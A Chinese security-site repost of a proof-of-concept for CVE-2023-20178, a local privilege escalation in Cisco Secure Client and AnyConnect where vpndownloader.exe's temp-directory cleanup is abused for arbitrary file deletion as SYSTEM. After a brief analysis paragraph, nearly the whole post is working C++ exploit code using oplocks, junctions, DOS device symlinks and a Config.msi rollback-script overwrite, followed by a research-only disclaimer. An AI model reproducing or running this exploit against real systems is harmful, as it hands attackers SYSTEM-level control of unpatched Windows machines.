CVE-2023-20178

admin 2024年11月1日14:10:21评论28 views字数 10387阅读34分37秒阅读模式

简介

Cisco 安全客户端(在 5.0.01242 上测试)和 Cisco AnyConnect在 4.10.06079 上测试)中的任意文件删除漏洞的 PoC。

分析

当用户连接到 vpn 时,vpndownloader.exe 进程在后台启动,它将在 c:windowstemp 中创建具有以下格式的默认权限的目录:<随机数>.tmp 创建此目录后,vpndownloader.exe 将检查是否该目录为空,如果不是,它将删除其中的所有文件/目录。可以滥用此行为以 NT AuthoritySYSTEM 帐户执行任意文件删除。然后通过滥用 ZDI 文章 https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-升级特权和其他绝妙技巧。

漏洞复现

CVE-2023-20178

POC

#include "def.h"
#include "FileOpLock.h"
int wmain(int argc, wchar_t** argv) {
    load();
    HANDLE hdir = myCreateDirectory(BuildPath(L"C:\\windows"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE, FILE_OPEN_IF);
    if (hdir == NULL) {
        printf("[!] Cannot open directory!\n");
        return 1;
    }
    hFile = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF);
    if (hFile == NULL)
    {
        printf("[!] Failed to create C:\\Config.msi directory. Trying to delete it.\n");
        install(NULL);
        hFile = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF);
        if (hFile != INVALID_HANDLE_VALUE)
        {
            printf("[+] Successfully removed and recreated C:\\Config.Msi.\n");
        }
        else
        {
            printf("[!] Failed. Cannot remove c:\\Config.msi");
            return 1;
        }
    }
    if (!PathIsDirectoryEmpty(L"C:\\Config.Msi"))
    {
        printf("[!] Failed.  C:\\Config.Msi already exists and is not empty.\n");
        return 1;
    }

    printf("[+] Config.msi directory created!\n");
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Created, hdir,0,NULL);
    SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
    SetThreadPriorityBoost(GetCurrentThread(), TRUE);
    SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
    FileOpLock* oplock;
    oplock = FileOpLock::CreateLock(hFile, cb1);
    if (oplock != nullptr) {
        oplock->WaitForLock(INFINITE);
        delete oplock;
    }
    do {
        hFile = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ | WRITE_DAC | READ_CONTROL | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF);
    } while (!hFile);
    char buff[4096];
    DWORD retbt = 0;
    FILE_NOTIFY_INFORMATION* fn;
    WCHAR* extension;
    WCHAR* extension2;
    do {
        ReadDirectoryChangesW(hFile, buff, sizeof(buff) - sizeof(WCHAR), TRUE, FILE_NOTIFY_CHANGE_FILE_NAME,
            &retbt, NULL, NULL);
        fn = (FILE_NOTIFY_INFORMATION*)buff;
        size_t sz = fn->FileNameLength / sizeof(WCHAR);
        fn->FileName[sz] = '\0';
        extension = fn->FileName;
        PathCchFindExtension(extension, MAX_PATH, &extension2);
    } while (wcscmp(extension2, L".rbs") != 0);

    SetSecurityInfo(hFile, SE_FILE_OBJECT, UNPROTECTED_DACL_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, NULL, NULL, NULL, NULL);
    while (!Move(hFile)) {

    }
    HANDLE cfg_h = myCreateDirectory(BuildPath(L"C:\\Config.msi"), FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_CREATE);
    WCHAR rbsfile[MAX_PATH];
    _swprintf(rbsfile, L"C:\\Config.msi\\%s", fn->FileName);
    HANDLE rbs = CreateFile(rbsfile, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (WriteFile(rbs, RbsBuff, RbsSize, NULL, NULL)) {
        printf("[+] RBS file overwritten!\n");

    }
    else
    {
        printf("[!] Failed to overwrite rbs file!\n");
    }
    CloseHandle(rbs);
    CloseHandle(cfg_h);
    DelDosDeviceSymLink(object, BuildPath(target));
}
BOOL Created(HANDLE hDir) {
  PFILE_NOTIFY_INFORMATION fi = NULL;
  BOOL deleted = FALSE;
  wchar_t file[MAX_PATH] = { 0x0 };
  
  FileOpLock* oplock;
  do {

    wchar_t buff[4096] = { 0 };
    DWORD ret = 0;
    ReadDirectoryChangesW(hDir, buff, 4096, TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &ret, NULL, NULL);
    fi = (PFILE_NOTIFY_INFORMATION)buff;
    if ((fi->Action == FILE_ACTION_ADDED) && (wcswcs(fi->FileName, L".tmp"))) {
      swprintf(dir, L"C:\\windows\\%s\\tmp", fi->FileName);
      swprintf(file, L"C:\\windows\\%s\\tmp\\1.tmp", fi->FileName);
      SetThreadPriorityBoost(GetCurrentThread(), TRUE);
      SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
            while (!CreateDirectory(dir, NULL));
            do {
                h = CreateFile(file, DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,FILE_FLAG_OVERLAPPED, NULL);
            } while (h == INVALID_HANDLE_VALUE);
      printf("[+] Directory: %ls\n", dir);
      printf("[+] File: %ls\n", file);
      oplock = FileOpLock::CreateLock(h, cb0);
      if (oplock != NULL) {
          oplock->WaitForLock(INFINITE);
      }
      deleted = TRUE;
    }
  } while (deleted == FALSE);
  return TRUE;
}
void cb0() {
  printf("[+] Oplock triggered!\n");
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Fail, NULL, 0, NULL);
  while (!Move(h)) {}
  printf("[+] File moved!\n");
  hDir = CreateFile(dir, FILE_WRITE_DATA, FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
    DosDeviceSymLink(object, BuildPath(target));
    CreateJunction(hDir, L"\\RPC Control");
}
BOOL Move(HANDLE hFile) {
  if (hFile == INVALID_HANDLE_VALUE) {
    printf("[!] Invalid handle!\n");
    return FALSE;
  }
  wchar_t tmpfile[MAX_PATH] = { 0x0 };
  RPC_WSTR str_uuid;
  UUID uuid = { 0 };
  UuidCreate(&uuid);
  UuidToString(&uuid, &str_uuid);
  _swprintf(tmpfile, L"\\??\\C:\\windows\\temp\\%s", str_uuid);
  size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) * sizeof(wchar_t));
  FILE_RENAME_INFO* rename_info = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, buffer_sz);
  IO_STATUS_BLOCK io = { 0 };
  rename_info->ReplaceIfExists = TRUE;
  rename_info->RootDirectory = NULL;
  rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040;
  rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t);
  memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) * sizeof(wchar_t));
  NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info, buffer_sz, 65);
  if (status != 0) {
    return FALSE;
  }
  return TRUE;
}
void load() {
    HMODULE ntdll = LoadLibraryW(L"ntdll.dll");
    if (ntdll != NULL) {
        pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString");
        pNtCreateFile = (_NtCreateFile)GetProcAddress(ntdll, "NtCreateFile");
        pNtQueryDirectoryObject = (_NtQueryDirectoryObject)GetProcAddress(ntdll, "NtQueryDirectoryObject");
        pNtOpenDirectoryObect = (_NtOpenDirectoryObject)GetProcAddress(ntdll, "NtOpenDirectoryObject");
        pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile");
    }
    if (pRtlInitUnicodeString == NULL ||pNtCreateFile == NULL || pNtQueryDirectoryObject == NULL || pNtOpenDirectoryObect == NULL || pNtSetInformationFile == NULL) {
        printf("Cannot load api's %d\n", GetLastError());
        exit(0);
    }

}
BOOL CreateJunction(HANDLE hDir, LPCWSTR target) {
    HANDLE hJunction;
    DWORD cb;
    wchar_t printname[] = L"";
    if (hDir == INVALID_HANDLE_VALUE) {
        printf("[!] HANDLE invalid!\n");
        return FALSE;
    }
    SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR);
    SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR);
    SIZE_T PathLen = TargetLen + PrintnameLen + 12;
    SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer));
    PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize);
    Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
    Data->ReparseDataLength = PathLen;
    Data->Reserved = 0;
    Data->MountPointReparseBuffer.SubstituteNameOffset = 0;
    Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen;
    memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2);
    Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2);
    Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen;
    memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1, printname, PrintnameLen + 2);
    WCHAR dir[MAX_PATH] = { 0x0 };
    if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, 0, &cb, NULL) != 0)
    {

        GetFinalPathNameByHandle(hDir, dir, MAX_PATH, 0);
        printf("[+] Junction %ls -> %ls created!\n", dir, target);
        free(Data);
        return TRUE;

    }
    else
    {

        printf("[!] Error: %d. Exiting\n", GetLastError());
        free(Data);
        return FALSE;
    }
}
BOOL DeleteJunction(HANDLE handle) {
    REPARSE_GUID_DATA_BUFFER buffer = { 0 };
    BOOL ret;
    buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
    DWORD cb = 0;
    IO_STATUS_BLOCK io;
    if (handle == INVALID_HANDLE_VALUE) {
        printf("[!] HANDLE invalid!\n");
        return FALSE;
    }
    WCHAR dir[MAX_PATH] = { 0x0 };
    if (DeviceIoControl(handle, FSCTL_DELETE_REPARSE_POINT, &buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL)) {
        GetFinalPathNameByHandle(handle, dir, MAX_PATH, 0);
        printf("[+] Junction %ls deleted!\n", dir);
        return TRUE;
    }
    else
    {
        printf("[!] Error: %d.\n", GetLastError());
        return FALSE;
    }
}

BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
    if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, target)) {
        printf("[+] Symlink %ls -> %ls created!\n", object, target);
        return TRUE;

    }
    else
    {
        printf("error :%d\n", GetLastError());
        return FALSE;

    }
}

BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
    if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) {
        printf("[+] Symlink %ls -> %ls deleted!\n", object, target);
        return TRUE;

    }
    else
    {
        printf("error :%d\n", GetLastError());
        return FALSE;


    }
}
HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion) {
    UNICODE_STRING ufile;
    HANDLE hDir;
    pRtlInitUnicodeString(&ufile, file);
    OBJECT_ATTRIBUTES oa = { 0 };
    IO_STATUS_BLOCK io = { 0 };
    InitializeObjectAttributes(&oa, &ufile, OBJ_CASE_INSENSITIVE, NULL, NULL);

    retcode = pNtCreateFile(&hDir, access, &oa, &io, NULL, FILE_ATTRIBUTE_NORMAL, share, dispostion, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);

    if (!NT_SUCCESS(retcode)) {
        return NULL;
    }
    return hDir;
}
void cb1() {

    SetThreadPriority(GetCurrentThread(), REALTIME_PRIORITY_CLASS);
    Move(hFile);

    //loop until the directory found
    CreateThread(NULL, NULL, install, NULL, NULL, NULL);
    HANDLE hd;
    do {
        hd = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);
    } while (!hd);
    do {
        CloseHandle(hd);
        hd = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);
    } while (hd);
    CloseHandle(hd);
    do {
        hd = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN);

        CloseHandle(hd);
    } while (retcode != 0xC0000022);

}
DWORD WINAPI install(void*) {
    HMODULE hm = GetModuleHandle(NULL);
    HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_MSI1), L"msi");
    wchar_t msipackage[MAX_PATH] = { 0x0 };
    GetTempFileName(L"C:\\windows\\temp\\", L"MSI", 0, msipackage);
    printf("[*] MSI file: %ls\n", msipackage);
    DWORD MsiSize = SizeofResource(hm, res);
    void* MsiBuff = LoadResource(hm, res);
    HANDLE pkg = CreateFile(msipackage, GENERIC_WRITE | WRITE_DAC, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    WriteFile(pkg, MsiBuff, MsiSize, NULL, NULL);
    CloseHandle(pkg);
    MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL);
    UINT a = MsiInstallProduct(msipackage, L"ACTION=INSTALL");
    MsiInstallProduct(msipackage, L"REMOVE=ALL");
    DeleteFile(msipackage);
    return 0;
}
VOID Fail() {
    Sleep(5000);
    printf("[!] Race condtion failed!\n");
    DeleteJunction(hDir);
    DelDosDeviceSymLink(object, BuildPath(target));
    exit(1);
}
LPWSTR  BuildPath(LPCWSTR path) {
    wchar_t ntpath[MAX_PATH];
    swprintf(ntpath, L"\\??\\%s", path);
    return ntpath;
}

 

参考链接

https://github.com/Wh04m1001/CVE-2023-20178https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-csc-privesc-wx4U4Kw

原文始发于微信公众号(巢安实验室):CVE-2023-20178

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月1日14:10:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-20178https://cn-sec.com/archives/1825062.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息